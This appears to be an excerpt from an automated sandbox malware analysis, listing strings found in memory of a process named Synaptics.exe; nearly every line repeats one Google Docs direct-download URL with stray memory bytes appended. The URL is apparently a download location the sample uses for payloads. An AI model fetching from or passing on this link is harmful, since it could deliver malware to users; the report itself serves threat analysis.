Source: Synaptics.exe, 00000003.00000002.2101385267.000000001CABF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2071412372.0000000007312000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2071412372.00000000073EC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2067323288.0000000000744000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download%
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F2A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download%C
Source: Synaptics.exe, 00000003.00000002.2082652555.000000000F13C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download%m
Source: Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2082652555.000000000F13C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2083276221.000000000F1C7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2067323288.0000000000744000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download&
Source: Synaptics.exe, 00000003.00000002.2068898665.0000000005413000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download&%
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007312000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download&N
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007474000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2082652555.000000000F13C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2083276221.000000000F1C7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2067323288.0000000000744000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download(
Source: Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download(F
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007312000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download(L
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007312000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download(q
Source: Synaptics.exe, 00000003.00000002.2071412372.000000000743F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2071412372.000000000735A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2083276221.000000000F1C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download)
Source: Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download)/
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007312000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download)U
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download)v
Source: Synaptics.exe, 00000003.00000002.2071412372.000000000743F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2082652555.000000000F13C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2071412372.00000000073AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download-
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007312000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download-2
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download-9
Source: Synaptics.exe, 00000003.00000002.2068898665.0000000005413000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download-=
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F2A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download-B
Source: Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download-G
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007312000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download-T
Source: Synaptics.exe, 00000003.00000002.2101385267.000000001CABF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2071412372.0000000007312000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2083276221.000000000F1C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.
Source: Synaptics.exe, 00000003.00000002.2101385267.000000001CABF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2101385267.000000001CACB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download..
Source: Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2102350198.000000001CB12000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download...
Source: Synaptics.exe, 00000003.00000002.2101385267.000000001CABF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download..1
Source: Synaptics.exe, 00000003.00000002.2101385267.000000001CABF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download..5
Source: Synaptics.exe, 00000003.00000002.2101385267.000000001CABF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download..M
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007474000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.a
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007474000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.c):%
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007474000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.cM$I
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007312000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2071412372.0000000007474000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2083276221.000000000F1C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.com
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007312000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.dou
Source: Synaptics.exe, 00000003.00000002.2082652555.000000000F13C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.gvt
Source: Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.moo
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007474000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.n
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.w
Source: Synaptics.exe, 00000003.00000002.2082652555.000000000F13C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.yout
Source: Synaptics.exe, 00000003.00000002.2067323288.0000000000767000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2084483626.000000000F2E1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2083276221.000000000F1C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download/
Source: Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download/=
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download/s
Source: Synaptics.exe, 00000003.00000002.2067323288.0000000000767000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2071412372.0000000007474000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2068898665.0000000005413000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2103144473.000000001CBC4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2071412372.00000000073EC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2083276221.000000000F1C7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2067323288.0000000000744000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2068898665.00000000053E0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2067323288.00000000006FA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2068898665.00000000054BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download0
Source: Synaptics.exe, 00000003.00000002.2082652555.000000000F13C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download0(
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download0?
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download0r
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007312000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2082652555.000000000F13C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2083276221.000000000F1C7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2068898665.00000000054BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download1
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007474000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download1.
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download1;=
Source: Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download1A
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F2A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download1L
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007312000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download1O
Source: Synaptics.exe, 00000003.00000002.2067323288.0000000000767000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2067323288.0000000000744000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download1W
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007312000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2082652555.000000000F13C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download1a4
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007312000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download1ph
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download1u
Source: Synaptics.exe, 00000003.00000002.2067323288.0000000000782000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2068898665.0000000005413000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2083276221.000000000F1C7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2067323288.0000000000744000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download2
Source: Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download2.
Source: Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download23
Source: Synaptics.exe, 00000003.00000002.2082652555.000000000F13C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download24082
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download2q
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2080697244.000000000EF82000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2068898665.0000000005413000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2084483626.000000000F2E1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2071412372.00000000073EC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2068898665.00000000054BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download3
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F2A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download3C
Source: Synaptics.exe, 00000003.00000002.2071412372.000000000735A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2083276221.000000000F1C7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2067323288.0000000000744000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download4
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download4w
Source: Synaptics.exe, 00000003.00000002.2071412372.000000000743F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2083276221.000000000F1C7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2068898665.00000000053E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download5
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007312000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download5H
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007312000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download5U
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download5s=
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download68:
Source: Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download6F
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007312000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download6L
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007312000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download6qe
Source: Synaptics.exe, 00000003.00000002.2080697244.000000000EF82000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2068898665.0000000005413000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2084483626.000000000F2E1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2071412372.000000000735A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2083276221.000000000F1C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download7
Source: Synaptics.exe, 00000003.00000002.2098957558.000000001B0BE000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download7l
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download7v?
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2071412372.00000000073EC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2083276221.000000000F1C7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2067323288.0000000000744000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download8
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F2A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download8C
Source: Synaptics.exe, 00000003.00000002.2082652555.000000000F13C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download8m
Source: Synaptics.exe, 00000003.00000002.2071412372.000000000743F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2082652555.000000000F13C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2071412372.00000000073AA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2068898665.00000000054BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download9
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007312000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download9N
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007312000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download9T
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download9t9
Source: Synaptics.exe, 00000003.00000002.2101385267.000000001CACB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2068898665.0000000005413000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2083276221.000000000F1C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download:
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download:=6
Source: Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download:j
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download:p:
Source: Synaptics.exe, 00000003.00000002.2067323288.0000000000782000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2068898665.00000000054D4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2068898665.0000000005413000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2084483626.000000000F2E1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2082652555.000000000F13C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download;
Source: Synaptics.exe, 00000003.00000002.2068898665.0000000005413000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download;0
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download;97
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F2A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download;B
Source: Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download;G
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007312000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download;M
Source: Synaptics.exe, 00000003.00000002.2082652555.000000000F13C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download;l
Source: Synaptics.exe, 00000003.00000002.2067323288.0000000000767000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2071412372.000000000743F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2071412372.00000000073EC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2068898665.00000000054BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download=
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007312000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download=(
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download=?1
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007312000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download=W
